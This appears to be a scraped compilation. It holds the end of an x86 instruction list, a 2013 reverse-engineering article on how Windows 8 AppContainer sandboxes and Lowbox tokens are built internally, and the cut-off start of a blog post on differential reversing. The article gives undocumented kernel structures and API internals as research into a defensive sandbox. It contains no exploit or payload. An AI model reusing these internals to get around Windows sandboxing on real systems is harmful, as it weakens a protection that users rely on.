  * MUL \- Unsigned Multiply

## N

  * NEG \- Two's Complement Negation
  * NOP \- No Operation
  * NOT \- One's Complement Negation

## O

  * OR \- Logical Inclusive OR
  * OUT \- Output to Port
  * OUTS \- Output String to Port
  * OUTSB \- Output String to Port
  * OUTSD \- Output String to Port
  * OUTSW \- Output String to Port

## P

  * POP \- Pop a Value from the Stack
  * POPA \- Pop All General-Purpose Registers
  * POPAD \- Pop All General-Purpose Registers
  * POPF \- Pop Stack into EFLAGS Register
  * POPFD \- Pop Stack into EFLAGS Register
  * PUSH \- Push Word or Doubleword Onto the Stack
  * PUSHA \- Push All General-Purpose Registers
  * PUSHAD \- Push All General-Purpose Registers
  * PUSHF \- Push EFLAGS Register onto the Stack
  * PUSHFD \- Push EFLAGS Register onto the Stack

## Q

## R

  * RCL \- Rotate Bits Left with CF
  * RCR \- Rotate Bits Right with CF
  * RDMSR \- Read from Model Specific Register
  * RDTSC \- Read Time-Stamp Counter
  * REP \- Repeat String Operation Prefix
  * REPE \- Repeat String Operation Prefix
  * REPNE \- Repeat String Operation Prefix
  * REPNZ \- Repeat String Operation Prefix
  * REPZ \- Repeat String Operation Prefix
  * RET \- Return from Procedure
  * ROL \- Rotate Bits Left
  * ROR \- Rotate Bits Right
  * RSM \- Resume from System Management Mode

## S

  * SAHF \- Store AH into Flags
  * SAL \- Shift Arithmetic Left
  * SAR \- Shift Arithmetic Right
  * SBB \- Integer Subtraction with Borrow
  * SCAS \- Scan String
  * SCASB \- Scan String
  * SCASD \- Scan String
  * SCASW \- Scan String
  * SETA \- Set Byte on Condition
  * SETAE \- Set Byte on Condition
  * SETB \- Set Byte on Condition
  * SETBE \- Set Byte on Condition
  * SETC \- Set Byte on Condition
  * SETE \- Set Byte on Condition
  * SETG \- Set Byte on Condition
  * SETGE \- Set Byte on Condition
  * SETL \- Set Byte on Condition
  * SETLE \- Set Byte on Condition
  * SETNA \- Set Byte on Condition
  * SETNAE \- Set Byte on Condition
  * SETNB \- Set Byte on Condition
  * SETNBE \- Set Byte on Condition
  * SETNC \- Set Byte on Condition
  * SETNE \- Set Byte on Condition
  * SETNG \- Set Byte on Condition
  * SETNGE \- Set Byte on Condition
  * SETNL \- Set Byte on Condition
  * SETNLE \- Set Byte on Condition
  * SETNO \- Set Byte on Condition
  * SETNP \- Set Byte on Condition
  * SETNS \- Set Byte on Condition
  * SETNZ \- Set Byte on Condition
  * SETO \- Set Byte on Condition
  * SETP \- Set Byte on Condition
  * SETPE \- Set Byte on Condition
  * SETPO \- Set Byte on Condition
  * SETS \- Set Byte on Condition
  * SETZ \- Set Byte on Condition
  * SGDT \- Store Global Descriptor Table Register
  * SHL \- Shift Left
  * SHLD \- Double Precision Shift Left
  * SHR \- Shift Right
  * SHRD \- Double Precision Shift Right
  * SIDT \- Store Interrupt Descriptor Table Register
  * SLDT \- Store Local Descriptor Table Register
  * SMSW \- Store Machine Status Word
  * STC \- Set Carry Flag
  * STD \- Set Direction Flag
  * STI \- Set Interrupt Flag
  * STOS \- Store String
  * STOSB \- Store String
  * STOSD \- Store String
  * STOSW \- Store String
  * STR \- Store Task Register
  * SUB \- Subtract

## T

  * TEST \- Logical Compare

## U

## V

  * VERR \- Verify a Segment for Reading
  * VERW \- Verify a Segment for Writing

## W

  * WAIT \- Wait
  * WBINVD \- Write Back and Invalidate Cache
  * WRMSR \- Write to Model Specific Register

## X

  * XADD \- Exchange and Add
  * XCHG \- Exchange Register/Memory with Register
  * XLAT \- Table Look-up Translation
  * XLATB \- Table Look-up Translation
  * XOR \- Logical Exclusive OR

## Y

## Z

* * *
# Advertisement

  
  

# Securing Microsoft Windows 8: AppContainers

**Created:**| _9/27/2013 11:10:14 AM_  
---|---  
**Updated:**| _9/27/2013 11:10:14 AM_  
**Author:**| __  
**Tags:**| _policies windows environment sandboxing_  
  

# **S** ecuring Microsoft Windows 8: AppContainers****

Recently, we have been conducting an analysis concerning the new Windows 8
security features**.** There are few documents available in Internet about
this topic and no one of them explains the entire implementations in
detail**.**

The paper has been divided in two parts because of the complexity of the
topic**.** Microsoft engineers have done an impressive job by improving their
Operating System security**.** They implemented the so called “ _mitigations_
”**.** The term is used to indicate a new specific security feature that has
the aim to make more difficult a possible attack**.**

There are several new Security mitigations: disabled Null Page allocation,
Win32k System call mitigation, “ _Int 0×29_ ” Security Assertions \(on double
linked list, GS cookie\), Non-executable non paged pool, Intel SMEP
technology, Intel Secure Key technology, and so on**.** The reader may find a
lot of useful information on the following analysis paper done by MJ0011
\(presented at Hitcon 2012 security conference\):
http://hitcon.org/2012/download/0720A5\_360**.** MJ0011\_Reversing
Windows8-Interesting Features of Kernel Security.pdf

Despite the effectiveness of these mitigations, we think that the most
important new characteristic is the AppContainers sandbox**.** We will talk
about it in this analysis**.**

**Windows 8 Sandbox: AppContainer & Lowbox tokens**

As the reader may know, the Google Chrome browser implements a great Sandbox
for web pages environment, which, even if consumes a lot of system resources,
it properly works: if an attacker finds a vulnerability and succeeds in his
exploitation, he will get the machine control, but only in a sandboxed
environment with minimal user rights and privileges**.** In this environment
context, the attacker can do few operations: it is prevented to open a file,
to read and write, to open another process**.** Basing on this idea, Microsoft
has conducted a research and implemented its concept of Sandbox**.** The
AppContainer and the Lowbox tokens have been thought to implement an OS
Sandbox**.**

If you have ever developed a new Metro style application, you already know
that a Metro app runs in a sandboxed context \(AppContainer\): if you deploy
your app, you have to declare your app “ _Capabilities_ ”**.** At present,
Windows 8 defines only a small set of capabilities**.**

If, for instance, a Metro app was able to read and write the user documents,
it should declare and enable the _SECURITY\_DOCUMENTS\_LIBRARY_ capability in
its manifest file**.** All this kind of requirements are documented in the
MSDN for Metro-style applications**.**

All the Metro style applications run in a context of an AppContainer, with a
Lowbox token**.** We are going now to analyse how this sandbox has been
implemented for Metro application, and especially how Lowbox tokens are
created, used and destroyed**.** We will try to extend the AppContainer model
to all others standard Win32 executable too, even if Microsoft states that the
Sandboxed environment is available only for new Metro style applications**.**

<img src='img/Temp2_7293.jpg' alt='Metro Application VS2012 development
environment – AppPackage Capabilities snapshot' />

AppPackage Capabilities snapshot

**AppContainers Implementation**

> _Brief introduction of Metro Apps and new Start Menu_
The new Metro style Start menu is managed entirely by the Explorer
component**.** At start-up time, this Windows process decides if it has to
create a new Start menu by doing the following check:

| BOOL IsDesktopWindowAlreadyPresent\(\)  if \(FindWindow\(NULL, "Progman"\)
== NULL && FindWindow\(NULL, "Proxy Desktop"\) == NULL\) return FALSE; return
TRUE;  
---|---  
If the check returns TRUE, then Explorer will send a message to its other
instances to properly show “Libraries” window \(created and drew from a new
Thread\)**.**

Otherwise it will start creating the Desktop, the Tray bar and finally the new
“Immersive Launcher” start menu**.**

The new start menu is created registering a lot of Window classes \(in our
tests we have counted about 45 different classes\)**.** The creation process
is quite entirely managed by SHDesktopMessageLoop Shell32 routine**.**
Analysing the creation and drawing modality of new Metro interface done by
Explorer process is beyond the scope of this article**.** We would only like
to highlight some essential implementation details:

  * Metro style interface management is implemented, in addition to the Explorer process, also in a lot of System libraries, like Shell32, ExplorerFrame and, the most important one, Twinui**.** The Explorer process depends on them.
  * The Explorer process deeply uses some MS technology, like COM+ and RPC, to communicate to other needed processes
  * The New Metro applications sandboxing and launching is administrated by the “BrokerInfrastructure” System service and by WWAHost process**.** Without these two components, all Metro applications could not execute**.** We are going to show how they interact with Explorer process**.**

When the user launches a Metro application, clicking his own tile in Start
menu, Explorer sends an RPC message to the Broker service \(that runs in
“svchost.exe” process context\)**.** The broker service starts its job by
checking RPC parameters and, if it is all ok, it impersonates RPC Security
token \(of Explorer process\)**.** Then it resolves target Metro application
“AppPackage” information, and adds its security attributes to impersonation
token \(“WIN://SYSAPPID” attribute stores App Package Id, and “WIN://PKG”
stores Package name\)**.** Each registered Metro application has indeed an
AppPackage context, used to save a lot of information, as the application
name, the version, the capabilities and so forth**.**

Now the token is ready to be transformed in an AppContainer**.** The new token
will be called Lowbox Token. The broker service may create also, if necessary,
a new Lowbox token and starts WWAHost process with a particular command line
used to communicate target Metro application DLL**.** Most of the default
Metro applications are indeed DLL libraries hosted by WWAHost process**.**

<img src='img/Temp2_7289.jpg' alt='Process Explorer snapshot, showing Broker
service that has launched “News”  Metro application in an AppContainer
environment (WWAHost process ' />

Process Explorer snapshot, showing Broker service that has launched “News”  
Metro application in an AppContainer environment \(WWAHost process

> _In the beginning was CreateProcess API_
In this subsection we are going to describe entire AppContainer process token
creation**.**

The broker service indeed exploits CreateProcessAsUser API to do actual token
creation**.** This API is used when an application would like to launch a
target process in another Security context \(on behalf of another user or with
an impersonation token\)**.** This system interface already existed in Windows
2000, but now, in Windows 8, its functionality has been improved**.**

Broker service indeed launches the WWAHost process specifying a new structure
in CreateProcessAsUser tenth parameter: STARTUPINFOEX**.** According to MSDN
documentation, this structure is defined as follow:

| typedef struct \_STARTUPINFOEX \{STARTUPINFO
StartupInfo;PPROC\_THREAD\_ATTRIBUTE\_LIST lpAttributeList;\} STARTUPINFOEX,
\*LPSTARTUPINFOEX;  
---|---  
lpAttributeList is an opaque attribute list structure pointer**.** Microsoft
has provided some subsidiary system procedures to create and update the
list**.** The only official documentation existing is the one we proposed
\(except for some attributes documentation\).The broker service includes only
one attribute in list: _PROC\_THREAD\_ATTRIBUTE\_PACKAGE\_FULL\_NAME_**.** Its
value is a pointer to the full Metro application Package name**.**

<img src='img/Temp2_7288.jpg' alt='Analysis of “CreateProcessAsUser” call ' />

Analysis of “CreateProcessAsUser” call

CreateProcessAsUser is only a stub: it actually demands the entire work to its
internal function CreateProcessInternalW**.** The latter begins with some
parameters checks, it initializes its stack variables, and then it determines
if _EXTENDED\_STARTUPINFO\_PRESENT_ flag is present in dwCreationFlags
parameter**.** If so, it uses BasepConvertWin32AttributeList to safely
retrieve a copy of Package full name string**.** Then it continues processing
each of the specified flags \(we are not interested on details\)**.** If the
package name is valid CreateProcessInternal verifies if g\_bElevationPresent
kernel32 symbol is set to 1: otherwise it tries to enable it with the aid of
ApiSetQueryApiSetPresence function \(this API seems to be able to load needed
dependencies\)**.** All App Package information are retrieved thanks to
BasepAppXExtension Kernel32 exported function**.** This is one of the key
routines: its task is to open App Package and retrieve all information about
it \(like Capabilities, working directory and so on…\)**.** This is an
internal OS function. Indeed it starts by checking the license tampering
status, then it verifies the following condition:

  * AppContainer token creation must be done from a process living in logon Session 0 \(System security context\)
  * The calling process current token \(primary or impersonation\) must have SysAppId and Pkg Security attributes set

If one of these two conditions is not satisfied, then the procedure fails with
a _STATUS\_NOT\_SUPPORTED_ error**.**

Otherwise, the current token owner SID is retrieved \(with GetTokenInformation
Win32 API\) and converted to string**.** This will be used to open the
AppPackage registry key: AppXMiniRepository::OpenPackageKey internal function
accepts the user SID string as a parameter, it builds the AppPackage registry
key in the following way:

_HKEY\_USERS\ <User SID>\Software\Classes\Local
Settings\Software\Microsoft\Windows\
CurrentVersion\AppModel\Repository\Packages\<AppContPckName>_

where:

  * “AppContPckName“ is the complete name of AppPackage \(for example “Microsoft.BingNews\_1**.** 2.0.135\_x64\_\_8wekyb3d8bbwe”\); this name will become the “Moniker”
  * “User SID“ is the SID of the user that owns the token impersonated by the Broker service
  * “HKEY\_USERS\<User SID>“ is the link target of HKEY\_CURRENT\_USER key \(indeed Broker service runs in System security context, and it has not the “CurrentUser” key mapped\)

and it opens it**.**

Control returns to GetPackageInformationForCreateProcess procedure that
obtains all the necessary information reading the App Package registry key
values like “PackageRootFolder” \(Metro application root folder\),
“PackageState”, “PackageSid” \(AppContainer SID\)**.** Finally it parses each
of the AppContainer capabilities, reading the “CapabilitySids” and the
“CapabilityCount” registry values**.**

The App package state is verified and all its dependencies are loaded… If it
all went right, BasepAppXExtension returns to caller
\(CreateProcessInternalW\) with a structure containing all the necessary
information:

  * App container SID and associated security capabilities
  * App Package name and full path
  * Dependency packages full path and names

<img src='img/Temp2_7287.jpg' alt='A snap of “CreateProcessInternal” system
routine code' />

A snap of “CreateProcessInternal” system routine code

Now the CreateProcessInternal jumps to the main user-mode internal routine
that creates LowBox token: BasepCreateLowBox**.**

> _User-Mode LowBox Token Creation deep analysis_
The Lowbox token creation begins in BasepCreateLowBox routine**.** Its
prototype is the following:

| NTSTATUS BasepCreateLowBox\(HANDLE hOrgToken, SECURITY\_CAPABILITIES
\*pSecCap, HANDLE \*hOutToken\)  
---|---  
First of all the parameters are checked: whether the original Token handle is
NULL, the current process token is retrieved with the aid of
NtOpenProcessToken native API; if the original token is already an
AppContainer, then the token is checked and duplicated with
BasepCreateTokenFromLowboxToken routine and finally the function exits**.**

In spite of we are now supposing, the majority of Lowbox token creation code
is located in user-mode**.** Indeed if the original token is not an
AppContainer, and all the checks mentioned succeed, a lot of things happen:
control is transferred to BasepCreateLowBoxObjectDirectories procedure**.**
This one accepts as an input the App Container SID and the token handle**.**
If routine succeeded, it returns the following output:

| typedef struct \_LOWBOX\_DATA  HANDLE hAppContainerDir; // + 0x00 - Handle
to "\Sessions\<ID>"// "\AppContainerNamedObjects\<AppContSid>" Directory
HANDLE hAppContainerRpcDir; // + 0x08 - Handle to "RPC Control" AppContainer
directory HANDLE hLocalSymLink; // + 0x10 - Handle to "Local" AppContainer
Symbolic link object HANDLE hGlobalSymLink; // + 0x18 - Handle to "Global"
AppContainer Symbolic link object HANDLE hSessionSymLink; // + 0x20 - Handle
to "Session" AppContainer Symbolic link object HANDLE hAppContNamedPipe; // +
0x28 - Handle to this App Container named pipe\} LOWBOX\_DATA,
\*PLOWBOX\_DATA;  
---|---  
BasepCreateLowBoxObjectDirectories obtains the session ID from the original
token, it converts App Container SID to string and it starts to build App
container directory objects strings**.** Indeed each of the App Containers
sandbox environments is based on Logon session boundaries**.** That’s why two
identical App Containers can be in two different sessions**.**

“\Sessions\<ID>\BasedNamedObjects” directory is opened \(where <ID> is token
Session ID\) with NtOpenDirectoryObject native API; its DACL is retrieved with
the Original token owner user SID**.**

The App Container Security descriptor is built with
BasepBuildPackageSecurityDescriptor, starting with obtained data**.** The
Kernel32 module builds SID with the aid of Rtl \(Runtime library\) internal
security functions \(like RtlAllocateAndInitializeSid, RtlAddAce,
RtlSetDaclSecurityDescriptor and so on…\); we won’t provide here the details,
we’ll only show the new SID**.** For further details, please contact me
\(andrea.allievi@saferbytes**.** it \). The new SID is composed as follow:

  * All Access control entries of “\Sessions\<ID>\BasedNamedObjects”
  * Access allowed App Container SID ace – List, Add Object, Add Subdir, Delete, Read Control, Special authorization permissions
  * Access allowed App Container SID ace, Inherit only ACE – Delete, Query state and data, Modify state, Special authorization permissions

The code execution flows then it returns to the
BasepCreateLowBoxObjectDirectories function**.** At this point the routine
opens “\Sessions\<ID>\AppContainerNamedObjects” the directory object, and
creates a subdirectory in it \(exploiting NtCreateDirectoryObjectEx native
API\) called as the App Container SID and protected by the Security
descriptorjust created**.** From now we will call the latter directory on the
App Container base directory**.** The directory is also protected with a Low
integrity level ACE placed in its SACL by BasepSetKernelIntegrityLabel
routine**.** BasepSetKernelIntegrityLabel exploits again the Rtl\* internal
security functions to complete its job \(in summary
RtlAllocateAndInitializeSid builds the low level mandatory SID; an ACL is then
built containing low level SID**.** RtlCreateSecurityDescriptor creates the
Security descriptor that contains ACL**.** ACL indeed is tied to Security
descriptor SACL with RtlSetSaclSecurityDescriptor routine; and finally
NtSetSecurityObject sets target object security information\)**.**

<img src='img/Temp2_7290.jpg' width='300' height='151' alt=' Snapshot of
“News” Windows 8 Metro application App Container directories' />

Snapshot of “News” Windows 8 Metro application App Container directories

The process of the AppContainer directory object creation is repeated for “RPC
Control” subdirectory object, starting from “\RPC Control” global directory…
This time a lightly different low integrity Security descriptor \(built again
with BasepBuildPackageSecurityDescriptor routine\) is applied from what we
have seen above**.**

BasepCreateLowBoxSymbolicLinks routine is subsequently called: its job is to
create “Global”, “Local” and “Session” symbolic link in the App container base
directory**.** It does so using NtCreateSymbolicLinkObject native API**.** The
purpose of these links is the same as the non App Container counterparts**.**

The execution flow returns to BasepCreateLowBoxObjectDirectories which
proceeds in AppContainer named pipe creation**.** This pipe is used in order
to communicate with the Broker service and with the system management
functions**.** It has the following name schema:
“Sessions\<ID>\AppContainerNamedObjects\ <AppContainerSID>“**.** The named
pipe is protected by the Security descriptor of AppContainer base directory
with 3 additional ACEs:

  * All access allowed ACE granted to Administrators group
  * Generic read and generic execute access granted to Everyone group
  * Generic read and generic execute access granted to _NT AUTHORITY\RESTRICTED_

At this point the BasepCreateLowBoxObjectDirectories routine job is
complete**.** Execution control is returned to BasepCreateLowBox that now can
actually create Lowbox token with the NtCreateLowBoxToken Kernel mode native
API**.**

When the token is successfully created by the kernel-mode routine, the target
process is created as usual but attached to the Lowbox token**.** Every object
and resource that the new process is going to use, it will be placed in
AppContainer directory instead of regular locations**.**

> _Kernel-Mode LowBox Token Creation deep analysis_
The Kernel mode lowbox token creation starts in NtCreateLowBoxToken exported
native API**.** As a user mode counterpart, the API accepts an original token,
and transform it in a Lowbox one**.** This function only does what is
absolutely necessary to access directly the Token object**.** The rest of the
work is done in user-mode, as we have already seen**.** Indeed the procedure
assumes that the AppContainer base directory, the symbolic links, the
capabilities and all the package data is already retrieved**.**

Its function prototype is the following:

| NTSTATUS NtCreateLowBoxToken\(HANDLE \* phLowBoxToken, HANDLE hOrgToken,
ACCESS\_MASK DesiredAccess, OBJECT\_ATTRIBUTES \* pOa, PSID pAppContainerSid,
DWORD capabilityCount, PSID\_AND\_ATTRIBUTES capabilities, DWORD
lowBoxStructHandleCount, PLOWBOX\_DATA lowBoxStruct\);  
---|---  
Now we are going to describe how the function works**.**

First of all, as usual, the parameters are checked and captured, and, whether
the API is called form the user-mode, the memory is probed**.** The Current
process security context is checked \(primary or impersonating token is
obtained with SeCaptureSubjectContext routine and analysed\), and, if it all
is ok, the original token kernel object is retrieved with
ObReferenceObjectByHandle Kernel routine**.** The so called “capture process”
checks specifically if App Container SID and each capability SID in array is
valid \(RtlIsPackageSid and RtlIsCapabilitySid verify the Sid size, the
integrity, the package authority ID, and the sub-authority count\)**.**

Now begins the Lowbox token creation: SepDuplicateToken, as the name implies,
creates a copy of the original token; we will call this copy “Lowbox”
token**.** To **?** properly form Lowbox token, NtCreateLowBoxToken first
setsthe token mandatory policy to “No write up” \(modifying “MandatoryPolicy”
and “ModifiedId” Kernel Token structure data members; see here  for an
extensive description of Mandatory labels and policies\)**.** Then it exploits
SepLocateTokenIntegrity routine to proper localize and set the token integrity
level \(stored in Token object as Group SID\) value to Low \(Rid value: 0×1000
– _SECURITY\_MANDATORY\_LOW\_RID_\)**.**

The Privilege restriction takes place: all the token privileges are stripped
except for SeChangeNotifyPrivilege and SeIncreaseWorkingSetPrivilege that
later will be both disabled**.** SepSetTokenCapabilities procedure is called
to attach each capability in array to Lowbox token: the Kernel token object
has indeed three data member related to capabilities: “Capabilities”,
“CapabilitiesCount” and “CapabilitiesHash”**.** All of these are updated by
SepSetTokenCapabilities**.** Noteworthy is the hash value:
RtlSidHashInitialize function initializes and updates the capabilities hash
with the aim to hinder a possible external alteration and This makes the
entire architecture quite secure**.**

When SepSetTokenCapabilities ends its job, the execution control is
transferred to SepSetTokenLowboxNumber routine**.** It has to generate a local
per-session Lowbox Token number, and to store it, together with the App
Container SID and a Reference counter, in a per-session hash-table, indexed by
the global kernel symbol “g\_SessionLowboxArray” \(stores hashes that points
to _SEP\_LOWBOX\_NUMBER\_ENTRY_ structure\)**.** This way Windows kernel can
fast\(?\) the lookup Lowbox tokens and Package SIDs based only on an
AppContainer Number and Session ID**.** When the Lowbox number is correctly
generated, an associated _SEP\_LOWBOX\_NUMBER\_ENTRY_ structure is created;
the Kernel token object “LowboxNumberEntry” data member is updated to point
\(**?**\) to the brand-new structure.

SepSetTokenLowboxHandles routine does quite the same work we have already seen
for the token unique per-session number, but this time for the AppContainer
directories and symbolic-links handles created by user-mode
BasepCreateLowBoxObjectDirectories procedure, and delivered to the kernel API
in lowBoxStruct parameter**.** A _SEP\_LOGON\_SESSION\_REFERENCES_ structure,
that describes the current logon session, is obtained from the Lowbox token
kernel object**.** In this structure is located the per-session Lowbox handles
hash-table**.** This table indexes _SEP\_LOWBOX\_HANDLES\_ENTRY_ items. Each
item stores an App Container SID, a reference counter and obviously the Lowbox
handles table**.** SepGetLowBoxHandlesEntry adds and retrieves one item from
hash-table, which SepSetTokenLowboxHandles compiles with a proper Lowbox
data**.** This way, and with the same modality already seen, Windows kernel
can fast\(**?**\)the lookup AppContainer handles table with only Package SID
and session ID**.** Once it has finished, SepSetTokenLowboxHandles updates the
Kernel token object “LowboxHandlesEntry” member with a pointer to brand-new
_SEP\_LOWBOX\_HANDLES\_ENTRY_ data structure**.**

<img src='img/Temp2_7294.jpg' alt='LowBox Kernel token object state after
SepSetTokenLowboxHandles' />

LowBox Kernel token object state after SepSetTokenLowboxHandles

The Kernel Lowbox token creation job is quite ended: SepSetTokenPackage copies
and sets App container package SID to the relative Token kernel object
“Package” data member**.**

The Token object security context is modified: a full-access allowed ACE with
AppContainer SID is added to the token default DACL**.** This way every object
created under the Low-Box security context has by default all access granted
by the App Container environment**.** Even the security descriptor that
protects the Lowbox Token is modified:

  * A full-access allowed ACE to AppContainer SID is added
  * A _TOKEN\_QUERY_ access allowed ACE to built-in Administrator group is added

The lowbox token is therefore fully accessible only by Owner, SYSTEM account
\(entity inherited\) and AppContainer environment**.** Administrators group
can query only the Lowbox token**.**

The process is complete: ObInsertObjectEx validates and inserts Lowbox token
into the Object manager namespace, and it returns an associated user-handle
value \(valid only for calling process\)**.** The Resources are freed and the
execution control returns in user-mode**.**

**Sandboxed Environment – What does it mean**?****

If you are here it means that you have understood the LowBox token creation
and implementation**.** But there’s still a question that need to be answered:
How is a Sandbox environment managed**?** What about the other OS
functionalities?

If the reader is curious he can try to understand Google Chrome Sandbox
documentation, or maybe its source code**.**

An application launched under a LowBox token acts in a completely different
way respect to a normal program:

  * First of all, the LowBox application can only read and write the directories, the files, and the objects that have an explicit ACE in their DACL, that allows the access to the AppContianer SID**.** Otherwise an _ACCESS\_DENIED_ error is returned \(SeAccessCheck kernel routine implement this behaviour\); even an Everyone access allowed ACE denies access to the object**.** It’s important to note that this assertion is totally true even for Windows registry**.** Our tests indeed have confirmed that no kind of Virtualization has been developed for AppContainer registry access

  * Every operation system component, whether detects that calling thread is under the Lowbox security context, checks if the token has the necessary capabilities to execute that particular block of code**.**

To identify properly an AppContainer security context and determine if the
caller can require a particular System service, Windows OS executes the
following pseudocode:

| // Get if token is an AppContainerntStatus =
ZwQueryInformationToken\(hToken, TokenIsAppContainer, &bIsAppContainer,
sizeof\(BOOL\), &retLength\);if \(**\!** NT\_SUCCESS\(ntStatus\)\) return
NtStatusToWin32Error\(ntStatus\)if \(bIsAppContainer\) \{// Query LowBox token
CapabilitiesPTOKEN\_CAPABILITIES pTokCap = NULL;// Allocate enough buffer to
contains Array \(call ZwQueryInformationToken with a NULL // buffer to get
exactly the needed size\)pTokCap =
\(PTOKEN\_CAPABILITIES\)HeapAlloc\(GetProcessHeap\(\), HEAP\_ZERO\_MEMORY,
buffSize\);retVal = TRUE;ntStatus = ZwQueryInformationToken\(hToken,
TokenCapabilities, \(PVOID\)pTokCap, buffSize, &retLength\);if
\(NT\_SUCCESS\(ntStatus\)\) // Get if needed capability is present in Calling
token capabilities array// PSID pNeededCapSid is needed capabilityretVal =
IsCapabilityPresent\(pNeededCapSid, pTokCap->Capabilities,
pTokCap->CapabilityCount\);if \(**\!** retVal || NT\_ERROR\(ntStatus\)\)return
ERROR\_ACCESS\_DENIED;// ...... // ..**.** Main function body ..**.** //
......  
---|---  
We made some tests to spot the different behaviour showed by standard Windows
Win32 API if called from an AppContainer security context**.** We will see now
how to launch the standard Win32 application under an AppContainer**.**

Our test done for _INTERNET\_CLIENT_ and _PRIVATE\_NETWORK\_CLIENT\_SERVER_
capabilities in network communications shows that this the capabilities checks
code is implemented in network AFD kernel driver**.** Our Win32 application
has tried to connect to the Internet and download a file, but it didn’t work
without the associated enabled capabilities**.** The fact that the checks are
implemented in Kernel mode makes the entire Sandbox much more powerful**.**

Unfortunately, we did not identify where the Capability check of the following
Metro application code snippet is performed:

| StorageFolder sf = KnownFolders.DocumentsLibrary;StorageFile file = await
sf.CreateFileAsync\("Test.txt”, CreationCollisionOption.OpenIfExists\);string
text = await Windows.Storage.FileIO.ReadTextAsync\(file\);  
---|---  
We have also tried to translate the above snippet in Win32 code, using the
standard CreateFile API or some COM+ interfaces**.** The Results are the same:
every attempt to open and read “Test.txt” file located in “User document”
folder requires an explicit ACE attached to it, that allows access to
AppContainer SID, even if DOCUMENTS\_LIBRARY capability is enabled in the
Lowbox token**.** Therefore, based on our quick analysis, it seems that this
time Microsoft has implemented the Capability check code in mscorlib.dll Net
framework main library**.** We don’t know why, maybe we didn’t take some
aspect into consideration**.**

By the way understanding how every capability is checked in various operating
System components can be definitively a good Research project**.** If some
reader would like to investigate on this, please contact me
\(andrea.allievi@saferbytes**.** it \)**.**

**Saferbytes Win32 Appcontainer applications**

We have seen that to properly create a Lowbox token and to launch a Win32
application under a sandboxed environment, we have to do many things: to add
the proper security attributes to the token, to create and modify the Package
registry keys and, most important, we have to inject our code in a system
service due to the session 0 isolation**.**

While analysing the CreateProcessInternalW internal function we found another
way to launch an application under an AppContainer**.** The New
_STARTUPINFOEX_ structure can contain even an instance of
_PROC\_THREAD\_SECURITY\_CAPABILITIES_ attribute**.** Therefore we have to
define only an App Container SID and a list of capabilities that our
AppContainer will have enabled \(take a look at the documented
_SECURITY\_CAPABILITIES_ structure\)**.** Unfortunately it is not so simple.

TokenExtCreateEnvironment kernel32 routine, that is called immediately when
BasepCreateLowBox returns, lookups App Container “moniker” from system
registry with the aim to create a sandboxed environment**.**

The AppContainerLookupMoniker retrieves the calling thread token User Sid, and
together with the Lowbox package SID, opens the following registry key:

_HKEY\_USERS\ <User SID>\Software\Classes\Local
Settings\Software\Microsoft\Windows\
CurrentVersion\AppContainer\Mappings\<AppContSid>_

Next it reads “Moniker” value**.** The moniker is the human readable App
Container name**.** Moniker name is needed to create Sandboxed
environment**.** Indeed TokenExtCreateEnvironment function creates the target
application “Environment block” starting from system environment, but
modifying the following three variables:

  * “LocalAppData” is set to “<original LocalAppData>\Packages\<Moniker name>\AC”
  * “Temp” and “Tmp”, are both set to “<original LocalAppData>\Packages\<Moniker name>\AC\Temp”

We can easily deduce that the folder locate in
“c:\Users\<UserName>\AppData\Local\Packages\<Moniker name>” will become the
main working path for the sandboxed environment \(this is not a necessary
condition however\); and the registry key “HKCU\Software\Classes\Local
Settings\Software\Microsoft\Windows\
CurrentVersion\AppContainer\Storage\<AppContSid>” will became the main working
registry key**.** These two directories need a proper ACE to be correctly
accessible as we have seen before \(there are no exception from sandbox
model\)

So, in order to create an AppContainer sandbox for our Win32 application we
acted as follows:

  1. Create “Moniker” registry key and append an Access allowed ACE with Lowbox package SID in its DACL
  2. Create sandbox main directory and registry key, and append a proper ACE as seen before
  3. Create and compile a proper _SECURITY\_CAPABILITIES_ structure containing App Container SID and all enabled capabilities
  4. Finally call CreateProcessAsUser Windows API

At the end, if it all has been done in the right way, the results are good, as
showed in the picture below:

<img src='img/Temp2_7292.jpg' alt='Our test application launched in a Sandbox
environment' />

Our test application launched in a Sandbox environment

The picture shows even what we have already analysed:
_PRIVATE\_NETWORK\_CLIENT\_SERVER_ capability allows our application to
communicate with an external server, whereas _DOCUMENTS\_LIBRARY_ seems to not
work**.**

**Conclusions**

Our analysis and tests show that Microsoft engineers have made a great job in
creating a Sandboxed environment for their Operating System new applications
type**.** We have seen that it’s possible to create an OS based sandboxed
environments even for standard Win32 programs. The main problem is that there
no documentation about it**.** We are wondering why MS doesn’t release a
proper documentation about the AppContainer and the Lowbox tokens**.**

Furthermore we have concluded that in current OS implementation there are only
few capabilities available**.** We hope that Microsoft could release a
complete set of capabilities for each Operating system component in the next
Windows 8**.** 1 OS.

I developed a simple application able to define an AppContainer package, to
create a proper directories and objects, and to launch standard Win32
applications under an OS sandboxed environment**.**

We will release this in a few weeks, basing on the readers’ requests**.**

<img src='img/Temp2_7291.jpg' alt='Snapshot of Saferbytes AppContainer
launcher application' />

Snapshot of Saferbytes AppContainer launcher application

For today that’s all folks**\!** We will review others Windows 8 Security
capabilities in next part of analysis**.**

A quick note: according to Davide LeBlanc thoughts \(thanks for the hint\), we
have to clarify that Microsoft has not been inspired by Google for its
sandbox**.**  
Reading developer’s blog post series  about Sandbox, we can understand that
there were some ideas regarding a software Sandbox at least starting from year
2008**.**

****

# Stupid Compiler » Blog Archive » Differential Reversing \(or some better
name\)

**Created:**| _9/30/2009 9:50:10 PM_  
---|---  
**Updated:**| _9/30/2009 9:50:24 PM_  
**Author:**| __  
**Tags:**| _binary instrumentation reversing programming_  
  

## Differential Reversing \(or some better name\)

September 29th, 2009

Note: As a prefix, I want to say I can’t decide on what to call this simple
technique. Everyone seems to call it something different: filtering,
differential debugging, coverage diffs, or delta traces. Either way it’s a
simple idea, so I’m sticking with the first name that popped in my head.
Whatever it’s called, it is important to know it’s been done many times and
called a few different things. Carry on…

## Motivation

Close your eyes and imagine…

In a moment of irrational team spirit, you, a vocal DC native \(you actually
live in Montgomery County — poser\), bet $5,000 on your beloved Redskins. On
Sunday, the Skins lose to the worst team in the league. You spend a night
trying to destroy the part of your brain responsible for this lapse of
judgment by consuming many many shots of tequila and making many many
amazingly bad choices \(attempting a bad idea overflow?\). It’s 9am and you
wake up with a hole where the team spirit functions of your brain used to be
\(I’m sure there was some collateral damage but I doubt anyone will notice\).
After a glass of orange juice \(which you manage to keep down\!\), you
remember you don’t have $5,000 \(”It’s a lock\!”… right\). You reflect that
Willie “Wet Work” Wollinski, your bookie, doesn’t actually seem like such a
